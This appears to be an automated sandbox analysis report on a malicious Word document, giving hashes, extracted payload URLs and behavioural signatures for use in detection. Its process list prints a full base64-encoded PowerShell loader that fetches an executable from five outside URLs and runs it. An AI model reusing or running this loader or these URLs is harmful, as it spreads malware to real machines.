Analysis
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max time kernel
141s -
max time network
158s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
22-05-2022 05:26
Static task
static1
Behavioral task
behavioral1
Sample
gozljfti.doc
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
gozljfti.doc
Resource
win10v2004-20220414-en
General
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Target
gozljfti.doc
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Size
170KB
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MD5
93c9b98aaab635cfe1fcaf77a6c93467
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SHA1
e974ec2b417e889ed9a5e26cce5731367233ac9b
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SHA256
bbccb28da0c926e3bf941fd5d29105048c7e5e2a63ce7fe99bebba6bcd3a204a
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SHA512
7c36431b34946379272d871a03bd869eb9c9f7d7ba194f2eadcb4bd5e4fd50e276d39badfd0d53160854a1ce27d01dbb50c615e71ef7bddf96cdb9e3904e8150
Malware Config
Extracted
http://cgemtalent.com/open-call/j4x9_rezdf_4/
https://www.spiidgas.com.br/site2/br_o_0f7t/
http://atelierbrasilia.com/site/ja_xek8_7k/
http://ative.nl/Ermelo/sk0vy_nln3_j8thtzh3ia/
http://www.cistilniservis-t530.com/cgi-bin/kif_srz5e_dxo7rqa5k/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 720 2796 powersheLL.exe -
Blocklisted process makes network request 4 IoCs
Processes:
powersheLL.exeflow pid process 47 720 powersheLL.exe 51 720 powersheLL.exe 58 720 powersheLL.exe 60 720 powersheLL.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2444 WINWORD.EXE 2444 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powersheLL.exepid process 720 powersheLL.exe 720 powersheLL.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 720 powersheLL.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2444 WINWORD.EXE 2444 WINWORD.EXE 2444 WINWORD.EXE 2444 WINWORD.EXE 2444 WINWORD.EXE 2444 WINWORD.EXE 2444 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\gozljfti.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABKAFoAWgBMAEcAYQBuAG4APQAnAFgARwBHAEEAWAB0AGYAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBgAFUAUgBpAGAAVABZAFAAcgBgAE8AVABvAGMAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARgBLAEgATgBYAGQAcgBlACAAPQAgACcAOAAyACcAOwAkAE8AVABLAFYASAB3AHIAcwA9ACcASgBKAFMATgBXAG0AaABtACcAOwAkAFkARABCAFIASgBpAGQAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARgBLAEgATgBYAGQAcgBlACsAJwAuAGUAeABlACcAOwAkAE4AWABBAEQAVwBxAGcAYQA9ACcARQBOAE8ASABXAGIAbABxACcAOwAkAEwASABHAE8ARgBxAHoAZgA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAATgBlAFQALgB3AEUAYgBjAGwASQBFAE4AdAA7ACQARgBEAFQAWgBOAGcAeABkAD0AJwBoAHQAdABwADoALwAvAGMAZwBlAG0AdABhAGwAZQBuAHQALgBjAG8AbQAvAG8AcABlAG4ALQBjAGEAbABsAC8AagA0AHgAOQBfAHIAZQB6AGQAZgBfADQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHMAcABpAGkAZABnAGEAcwAuAGMAbwBtAC4AYgByAC8AcwBpAHQAZQAyAC8AYgByAF8AbwBfADAAZgA3AHQALwAqAGgAdAB0AHAAOgAvAC8AYQB0AGUAbABpAGUAcgBiAHIAYQBzAGkAbABpAGEALgBjAG8AbQAvAHMAaQB0AGUALwBqAGEAXwB4AGUAawA4AF8ANwBrAC8AKgBoAHQAdABwADoALwAvAGEAdABpAHYAZQAuAG4AbAAvAEUAcgBtAGUAbABvAC8AcwBrADAAdgB5AF8AbgBsAG4AMwBfAGoAOAB0AGgAdAB6AGgAMwBpAGEALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGkAcwB0AGkAbABuAGkAcwBlAHIAdgBpAHMALQB0ADUAMwAwAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AawBpAGYAXwBzAHIAegA1AGUAXwBkAHgAbwA3AHIAcQBhADUAawAvACcALgAiAHMAYABQAEwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQBEAFIAUABQAGgAbwBkAD0AJwBGAFMASgBPAFAAZwB1AG8AJwA7AGYAbwByAGUAYQBjAGgAKAAkAFcASABWAEYAQgBmAHEAbQAgAGkAbgAgACQARgBEAFQAWgBOAGcAeABkACkAewB0AHIAeQB7ACQATABIAEcATwBGAHEAegBmAC4AIgBkAE8AYABXAGAATgBMAG8AYQBEAGYASQBsAEUAIgAoACQAVwBIAFYARgBCAGYAcQBtACwAIAAkAFkARABCAFIASgBpAGQAZwApADsAJABGAEsAWABVAFAAZwBzAG0APQAnAEwAQgBNAFIAQgBnAG4AagAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAFkARABCAFIASgBpAGQAZwApAC4AIgBsAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADIANgA5ADcAMgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBgAFIAZQBhAHQARQAiACgAJABZAEQAQgBSAEoAaQBkAGcAKQA7ACQAWABIAFMAUABTAGcAYQBoAD0AJwBRAFgASABOAEkAdwBnAGYAJwA7AGIAcgBlAGEAawA7ACQARQBPAEwAWABDAGMAYwBjAD0AJwBPAFIAQwBBAEcAeABhAHEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBVAEUATgBPAHkAeAB2AD0AJwBEAE8ARQBVAFYAYgBsAGYAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/720-138-0x0000022147A70000-0x0000022147A92000-memory.dmpFilesize
136KB
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memory/720-139-0x00007FFAADB70000-0x00007FFAAE631000-memory.dmpFilesize
10.8MB
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memory/2444-133-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmpFilesize
64KB
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memory/2444-130-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmpFilesize
64KB
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memory/2444-134-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmpFilesize
64KB
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memory/2444-135-0x00007FFA97440000-0x00007FFA97450000-memory.dmpFilesize
64KB
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memory/2444-136-0x00007FFA97440000-0x00007FFA97450000-memory.dmpFilesize
64KB
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memory/2444-137-0x00000208A5AA0000-0x00000208A5AA4000-memory.dmpFilesize
16KB
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memory/2444-132-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmpFilesize
64KB
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memory/2444-131-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmpFilesize
64KB
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memory/2444-141-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmpFilesize
64KB
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memory/2444-142-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmpFilesize
64KB
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memory/2444-143-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmpFilesize
64KB
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memory/2444-144-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmpFilesize
64KB